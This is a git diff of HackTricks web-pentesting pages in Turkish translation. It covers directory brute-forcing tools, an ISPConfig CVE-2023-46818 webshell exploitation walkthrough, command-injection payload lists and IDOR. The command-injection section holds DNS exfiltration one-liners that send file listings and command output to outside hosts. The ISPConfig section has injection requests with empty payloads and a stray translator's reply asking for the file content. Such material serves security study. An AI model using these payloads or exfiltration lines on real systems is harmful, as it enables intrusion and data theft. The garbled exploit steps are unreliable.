[**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension; farklı sayfaların burp geçmişinden dizin listesi oluşturur. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JS import'larına göre fonksiyonu tekrar eden URL'leri kaldırır. +- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek ve kullanılacak wordlist'leri seçmek için wapalyzer kullanır. -**Tavsiye edilen sözlükler:** +**Recommended dictionaries:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) -- [**Dirsearch** dahil sözlük](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) +- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) -- [Assetnote kelime listeleri](https://wordlists.assetnote.io) +- [Assetnote wordlists](https://wordlists.assetnote.io) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) - raft-large-directories-lowercase.txt - directory-list-2.3-medium.txt @@ -266,81 +268,83 @@ Araçlar: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu dizin de Brute-Forced edilmelidir._ +_Not: Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin mutlaka brute-force edilmelidir._ -### Bulunan her dosyada kontrol edilecekler +### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki bozuk bağlantıları bulur. -- **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm çalıştırılabilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedek dosyası adlandırmak için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.** -- **Yeni parametreleri keşfetmek**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her çalıştırılabilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.** -- _Arjun tüm varsayılan kelime listeleri:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML içindeki kırık linkleri bulur; takeover'a açık olabilecek linkleri tespit eder. +- **File Backups**: Tüm dosyaları bulduktan sonra, yürütülebilir dosyaların (".php", ".aspx"...) yedeklerini arayın. Yedekleme için yaygın isimlendirme çeşitleri: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) veya [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) araçlarını kullanabilirsiniz. +- **Discover new parameters**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun), [**parameth**](https://github.com/maK-/parameth), [**x8**](https://github.com/sh1yo/x8) ve [**Param Miner**](https://github.com/PortSwigger/param-miner) gibi araçlar kullanılabilir. Mümkünse her yürütülebilir web dosyasında gizli parametreleri aramaya çalışın. +- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Yorumlar:** Tüm dosyaların yorumlarını kontrol edin, **kimlik bilgileri** veya **gizli işlevsellik** bulabilirsiniz. -- Eğer **CTF** oynuyorsanız, "yaygın" bir hile, sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda verileri göremeyeceğiniz kadar **birçok** **boşluk** kullanarak) **bilgileri gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve **bilgileri** web sayfasının **altında** bir yorumda gizlemektir. -- **API anahtarları**: Eğer **herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanacağınızı belirten bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API anahtarları: Eğer **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik gibi görünen bir API anahtarı bulursanız, anahtarın erişebileceği API'leri kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz. -- **S3 Buckets**: Spidering yaparken herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket**'ları ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini** kontrol edin](buckets/index.html). +- **Comments:** Tüm dosyaların yorumlarını kontrol edin; credential'lar veya gizli fonksiyonlar bulunabilir. +- Eğer **CTF** oynuyorsanız, yaygın bir hile sayfa kaynağında sayfanın sağ tarafına (çokça boşluk kullanarak) veya sayfanın en altına bir yorum içinde bilgi saklamaktır; tarayıcıda görüntülemek zor olabilir. +- **API keys**: Bir API key bulursanız, farklı platformlardaki API key'lerin nasıl kullanılacağını gösteren rehberler var: [**keyhacks**](https://github.com/streaak/keyhacks), [**zile**](https://github.com/xyele/zile.git), [**truffleHog**](https://github.com/trufflesecurity/truffleHog), [**SecretFinder**](https://github.com/m4ll0k/SecretFinder), [**RegHex**](), [**DumpsterDive**](https://github.com/securing/DumpsterDiver), [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: **AIza** ile başlayan bir API key bulursanız (ör. **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik), hangi API'lere erişimi olduğunu kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz. +- **S3 Buckets**: Spidering sırasında herhangi bir subdomain veya link'in bir S3 bucket ile ilişkili olup olmadığını kontrol edin. Böyle bir durum varsa, bucket'ın [**permissions**'ını kontrol edin](buckets/index.html). -### Özel bulgular +### Special findings -**Spidering** ve **brute-forcing** yaparken, **dikkat etmeniz gereken** **ilginç** **şeyler** bulabilirsiniz. +**Spidering** ve **brute-forcing** gerçekleştirirken dikkat etmeniz gereken ilginç bulgularla karşılaşabilirsiniz. -**İlginç dosyalar** +**Interesting files** -- **CSS** dosyaları içinde diğer dosyalara **bağlantılar** arayın. -- [Eğer bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir](git.md) -- Eğer bir _**.env**_ bulursanız, API anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir. -- Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "dosya gibi" görüneceklerdir. -- **JS dosyaları**: Spidering bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz. -- Bulunan JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol ederek zayıf olup olmadığını bulmalısınız. -- **Javascript Deobfuscator ve Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) +- CSS dosyaları içinde diğer dosyalara yapılan **link**leri arayın. +- [Eğer bir _**.git**_ dosyası bulursanız bazı bilgiler çıkarılabilir](git.md) +- Eğer bir _**.env**_ dosyası bulursanız API key'ler, DB parolaları ve diğer bilgileri içerebilir. +- Eğer **API endpoints** bulursanız bunları [test etmelisiniz](web-api-pentesting.md). Bunlar dosya olmayabilir ama dosya gibi görünebilirler. +- **JS files**: Spidering bölümünde JS dosyalarından path çıkarabilen birçok araç listelendi. Ayrıca bulunan her JS dosyasını izlemek ilginç olabilir; bazı durumlarda bir değişiklik kodda yeni bir zafiyetin ortaya çıktığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon) kullanılabilir. +- Bulunan JS dosyalarını zafiyet için kontrol etmek üzere [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile tarayın. +- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) -- **JsFuck deobfuscation** (karakterlerle javascript: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) +- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- Birçok durumda, kullanılan **düzenli ifadeleri** **anlamanız** gerekecek. Bu faydalı olacaktır: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex) -- Ayrıca, **formların tespit edildiği dosyaları** izlemelisiniz, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir. +- Birçok durumda kullanılan regular expression'ları anlamanız gerekir. Bunun için faydalı kaynaklar: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex) +- Form tespit edilen dosyaları da izleyebilirsiniz; parametredeki bir değişiklik veya yeni bir formun ortaya çıkması potansiyel bir yeni zafiyeti gösterebilir. + +**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** -**403 Yasaklı/Temel Kimlik Doğrulama/401 Yetkisiz (bypass)** {{#ref}} 403-and-401-bypasses.md {{#endref}} -**502 Proxy Hatası** +**502 Proxy Error** -Eğer herhangi bir sayfa bu **kodla** **yanıt veriyorsa**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak** ve bir **SSRF** bulmuş olacaksınız. +Eğer herhangi bir sayfa bu kodla cevap veriyorsa muhtemelen yanlış yapılandırılmış bir proxy söz konusudur. Eğer şu şekilde bir HTTP isteği gönderirseniz: `GET https://google.com HTTP/1.1` (host header ve diğer yaygın header'lar ile), proxy _google.com_'a erişmeye çalışacak ve böylece bir SSRF bulmuş olabilirsiniz. -**NTLM Kimlik Doğrulama - Bilgi ifşası** +**NTLM Authentication - Info disclosure** -Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** istiyorsa), bir **bilgi ifşası** tetikleyebilirsiniz.\ -**Header'ı gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamanın** nasıl çalıştığı nedeniyle, sunucu "WWW-Authenticate" başlığında iç bilgi (IIS versiyonu, Windows versiyonu...) ile yanıt verecektir.\ -Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak otomatikleştirebilirsiniz. +Eğer authentication isteyen sunucu **Windows** ise veya domain adı soran bir login görürseniz, bilgi sızması provokasyonu yapılabilir.\ +Şu header'ı gönderin: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve NTLM authentication'ın çalışma şekli nedeniyle sunucu "WWW-Authenticate" header'ında iç ağ bilgilerini (IIS sürümü, Windows sürümü...) döndürebilir.\ +Bunu otomatikleştirmek için nmap plugin'i "_http-ntlm-info.nse_" kullanılabilir. -**HTTP Yönlendirme (CTF)** +**HTTP Redirect (CTF)** -Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama içinde **gizli** bir şey olabilir. +Bir Redirection içine içerik koymak mümkündür. Bu içerik kullanıcıya gösterilmeyecektir (tarayıcı yönlendirmeyi uygulayacağı için) ancak içeriğe gizli bilgi yerleştirilebilir. -### Web Zafiyetlerini Kontrol Etme +### Web Vulnerabilities Checking + +Web uygulamasının kapsamlı bir enumerate işlemi yapıldıktan sonra birçok olası zafiyeti kontrol etme zamanı gelmiştir. Kontrol listesi burada bulunabilir: -Artık web uygulamasının kapsamlı bir envanteri alındığına göre, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Web zafiyetleri hakkında daha fazla bilgi için: +Web zafiyetleri hakkında daha fazla bilgi: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) -### Sayfaları değişiklikler için izleme +### Monitor Pages for changes -Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz. +Sayfalardaki değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanılabilir; bu sayede yapılacak değişiklikler yeni zafiyetler ekleyebilir. -### HackTricks Otomatik Komutlar +### HackTricks Automatic Commands ``` Protocol_Name: Web #Protocol Abbreviation if there is one. Port_Number: 80,443 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md new file mode 100644 index 000000000..c86498e25 --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -0,0 +1,91 @@ +# ISPConfig + +{{#include ../../banners/hacktricks-training.md}} + +## Genel Bakış + +ISPConfig, açık kaynaklı bir hosting kontrol panelidir. Eski 3.2.x sürümleri, süper yönetici için etkinleştirildiğinde hatalı bir çeviri kaydı aracılığıyla rastgele PHP kodu enjeksiyonuna izin veren bir dil dosyası düzenleyici özelliğini içeriyordu. Bu, web sunucusu bağlamında RCE'ye yol açabilir ve PHP'nin nasıl çalıştırıldığına bağlı olarak ayrıcalık yükseltmesine neden olabilir. + +Önemli varsayılan yollar: +- Web root genellikle `php -S` ile servis edildiğinde veya Apache/nginx aracılığıyla `/var/www/ispconfig` konumunda olur. +- Admin UI, HTTP(S) vhost üzerinde erişilebilir (bazen yalnızca localhost'a bağlı olabilir; gerekiyorsa SSH port-forward kullanın). + +İpucu: Panel yerel olarak bağlıysa (ör. `127.0.0.1:8080`), erişim için port-forward yapın: +```bash +ssh -L 9001:127.0.0.1:8080 user@target +# then browse http://127.0.0.1:9001 +``` +## Language editor PHP code injection (CVE-2023-46818) + +- Etkilenen: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) +- Önkoşullar: +- Yerleşik superadmin hesabı `admin` ile giriş yapın (satıcıya göre diğer roller etkilenmez) +- Dil düzenleyicinin etkinleştirilmiş olması gerekir: `/usr/local/ispconfig/security/security_settings.ini` dosyasında `admin_allow_langedit=yes` +- Etkisi: Kimlik doğrulanmış admin, bir dil dosyasına yazılan ve uygulama tarafından çalıştırılan keyfi PHP enjekte edebilir; bu, web bağlamında RCE elde edilmesine yol açar + +Referanslar: NVD girişi CVE-2023-46818 ve aşağıdaki References bölümündeki satıcı bildirimi bağlantısı. + +### Manuel istismar akışı + +1) CSRF token'larını elde etmek için bir dil dosyası açın/oluşturun + +Formu başlatmak için ilk POST'u gönderin ve HTML yanıtından CSRF alanlarını (`csrf_id`, `csrf_key`) ayrıştırın. Örnek istek yolu: `/admin/language_edit.php`. + +2) records[] aracılığıyla PHP enjekte edin ve kaydedin + +CSRF alanlarını ve kötü niyetli bir çeviri kaydını içeren ikinci POST'u gönderin. Minimal komut yürütme denemeleri: +```http +POST /admin/language_edit.php HTTP/1.1 +Host: 127.0.0.1:9001 +Content-Type: application/x-www-form-urlencoded +Cookie: ispconfig_auth=... + +lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= +``` +Bant-dışı test (ICMP'yi gözlemle): +```http +records[]= +``` +3) Dosya yazma ve webshell bırakma + +Web'e erişilebilir bir dizin (örn., `admin/`) altında bir dosya oluşturmak için `file_put_contents` kullanın: +```http +records[]= +``` +Ardından POST body içindeki kötü karakterlerden kaçınmak için base64 kullanan basit bir webshell yazın: +```http +records[]= +``` +Çevirmemi istediğiniz src/network-services-pentesting/pentesting-web/ispconfig.md dosyasının içeriğini gönderin. İçerik olmadan çeviri yapamam. +```bash +curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' +``` +Eğer PHP root olarak çalıştırılırsa (ör. `php -S 127.0.0.1:8080` root tarafından başlatıldıysa), bu anında root RCE sağlar. Aksi takdirde, web sunucusu kullanıcısı olarak kod yürütme elde edersiniz. + +### Python PoC + +Kullanıma hazır bir exploit, token yönetimini ve payload teslimatını otomatikleştirir: +- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) + +Örnek çalıştırma: +```bash +python3 cve-2023-46818.py http://127.0.0.1:9001 admin +``` +### Sertleştirme + +- 3.2.11p1 veya daha yeni sürüme yükseltin +- Kesinlikle gerekmedikçe dil düzenleyicisini devre dışı bırakın: +``` +admin_allow_langedit=no +``` +- Paneli root olarak çalıştırmaktan kaçının; ayrıcalıkları düşürmek için PHP-FPM veya web sunucusunu yapılandırın +- Yerleşik `admin` hesabı için güçlü kimlik doğrulamayı zorunlu kılın + +## Referanslar + +- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/) +- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) +- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) +- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index b4a991a69..135839e42 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,15 +2,15 @@ {{#include ../banners/hacktricks-training.md}} -## Command Injection Nedir? +## command Injection nedir? -Bir **command injection**, bir saldırganın bir uygulamayı barındıran sunucuda rastgele işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye girebilir. Bu komutların yürütülmesi genellikle saldırgana uygulamanın ortamına ve temel sisteme yetkisiz erişim veya kontrol sağlama imkanı tanır. +Bir **command injection**, bir uygulamayı barındıran sunucuda bir saldırganın rastgele işletim sistemi komutlarını çalıştırmasına izin verir. Bunun sonucunda uygulama ve tüm verileri tamamen ele geçirilebilir. Bu komutların çalıştırılması genellikle saldırganın uygulamanın ortamı ve altında yatan sistem üzerinde yetkisiz erişim veya kontrol elde etmesine olanak sağlar. ### Bağlam -**Girdiğiniz yerin nereye enjekte edildiğine** bağlı olarak, komutlardan önce **alıntı yapılan bağlamı sonlandırmanız** gerekebilir ( `"` veya `'` kullanarak). +Girişinizin **nereye enjekte edildiğine** bağlı olarak, komutları çalıştırmadan önce **alıntılanmış bağlamı sonlandırmanız** (using `"` or `'`) gerekebilir. -## Command Injection/Yürütme +## Command Injection/Execution ```bash #Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both @@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls %0A id # %0A Execute both (RECOMMENDED) +ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs) #Only unix supported `ls` # `` @@ -29,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limitation** Bypassları +### **Limition** Bypass'ları -Eğer bir **linux makinesi içinde keyfi komutlar çalıştırmaya** çalışıyorsanız, bu **Bypasslar** hakkında okumak ilginizi çekebilir: +Bir linux makinesinde **keyfi komutlar çalıştırmayı** deniyorsanız, bu **Bypass'lar** hakkında okumak ilginizi çekecektir: {{#ref}} @@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parametreler -İşte kod enjeksiyonuna ve benzeri RCE zafiyetlerine karşı savunmasız olabilecek en iyi 25 parametre (from [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Aşağıda code injection ve benzeri RCE açıklarına açık olabilecek en yaygın 25 parametre yer alıyor (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -74,9 +75,9 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ?run={payload} ?print={payload} ``` -### Zaman Tabanlı Veri Sızdırma +### Time based data exfiltration -Veri Çıkartma: karakter karakter +Veri çıkarma: char by char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -88,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS tabanlı veri sızdırma +### DNS based data exfiltration -`https://github.com/HoLyVieR/dnsbin` adresindeki araç temel alınarak, ayrıca dnsbin.zhack.ca'da barındırılmaktadır. +Bu çalışma `https://github.com/HoLyVieR/dnsbin` üzerindeki araca dayanıyor; ayrıca dnsbin.zhack.ca adresinde barındırılıyor. ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -DNS tabanlı veri sızdırma kontrolü için çevrimiçi araçlar: +DNS tabanlı data exfiltration'ı kontrol etmek için çevrimiçi araçlar: - dnsbin.zhack.ca - pingb.in -### Filtreleme atlatma +### Filtering bypass #### Windows ``` @@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -JavaScript/TypeScript arka uçlarını denetlerken sıklıkla Node.js `child_process` API'si ile karşılaşacaksınız. +JavaScript/TypeScript arka uçlarını denetlerken sık sık Node.js `child_process` API'si ile karşılaşırsınız. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` bir **shell** (`/bin/sh -c`) başlatır, bu nedenle kullanıcı girişi dizeye eklendiğinde shell için özel bir anlamı olan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) **komut enjeksiyonu** ile sonuçlanacaktır. +`exec()` bir **shell** (`/bin/sh -c`) başlatır, bu nedenle shell için özel bir anlam taşıyan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) kullanıcı girdisi string içinde birleştirildiğinde **command injection** ile sonuçlanır. -**Azaltma:** `execFile()` (veya `shell` seçeneği olmadan `spawn()`) kullanın ve **her bir argümanı ayrı bir dizi elemanı olarak** sağlayın, böylece hiçbir shell dahil edilmez: +**Önlem:** `execFile()` (veya `spawn()` `shell` seçeneği olmadan) kullanın ve **her argümanı ayrı bir dizi öğesi** olarak sağlayın, böylece shell devre dışı kalır: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -139,7 +140,7 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Gerçek dünya vakası: *Synology Photos* ≤ 1.7.0-0794, saldırganın kontrolündeki verileri `id_user` içine yerleştiren kimlik doğrulaması yapılmamış bir WebSocket olayı aracılığıyla istismar edilebiliyordu; bu veriler daha sonra bir `exec()` çağrısına gömüldü ve RCE elde edildi (Pwn2Own İrlanda 2024). +Gerçek vaka: *Synology Photos* ≤ 1.7.0-0794, kimlik doğrulaması olmayan bir WebSocket olayı aracılığıyla istismar edilebiliyordu; bu olay saldırgan kontrollü veriyi `id_user` içine yerleştiriyor ve daha sonra `exec()` çağrısına gömülüyordu, bu da RCE elde edilmesine yol açtı (Pwn2Own Ireland 2024). ## Brute-Force Tespit Listesi @@ -148,11 +149,13 @@ Gerçek dünya vakası: *Synology Photos* ≤ 1.7.0-0794, saldırganın kontrol https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} -## Referanslar +## Kaynaklar - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) +- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index 6724d99ce..89901c987 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -1,21 +1,22 @@ -# IDOR (Güvensiz Doğrudan Nesne Referansı) +# IDOR (Insecure Direct Object Reference) {{#include ../banners/hacktricks-training.md}} -IDOR (Güvensiz Doğrudan Nesne Referansı) / Bozuk Nesne Seviyesi Yetkilendirme (BOLA), bir web veya API uç noktasının, **doğrudan** erişim sağlamak için kullanılan ve kullanıcı tarafından kontrol edilebilen bir tanımlayıcıyı ifşa etmesi veya kabul etmesi durumunda ortaya çıkar; **çağrının bu nesneye erişim/değişiklik yapma yetkisini doğrulamadan**. Başarılı bir istismar genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi yatay veya dikey ayrıcalık yükseltmelerine izin verir ve en kötü durumda, tam hesap ele geçirme veya kitlesel veri sızdırma ile sonuçlanabilir. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA), bir web veya API uç noktasının, bir kullanıcının kontrol edebildiği bir tanımlayıcıyı **doğrudan** iç nesneye erişmek için ifşa ettiği veya kabul ettiği ve çağıranın o nesneye erişmeye/ürünü değiştirmeye yetkili olup olmadığını **doğrulamadan** kullanıldığı durumlarda ortaya çıkar. +Başarılı sömürü genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi horizontal or vertical privilege-escalation’a izin verir ve en kötü durumda tam hesap devralma veya toplu veri dışarı sızdırma ile sonuçlanabilir. --- ## 1. Potansiyel IDOR'ları Belirleme -1. **Bir nesneyi referans alan parametreleri** arayın: -* Yol: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` -* Sorgu: `?id=42`, `?invoice=2024-00001` -* Gövde / JSON: `{"user_id": 321, "order_id": 987}` -* Başlıklar / Çerezler: `X-Client-ID: 4711` -2. **Veri okuma veya güncelleme** yapan uç noktaları tercih edin (`GET`, `PUT`, `PATCH`, `DELETE`). -3. Tanımlayıcıların **sıralı veya tahmin edilebilir** olduğuna dikkat edin – eğer ID'niz `64185742` ise, o 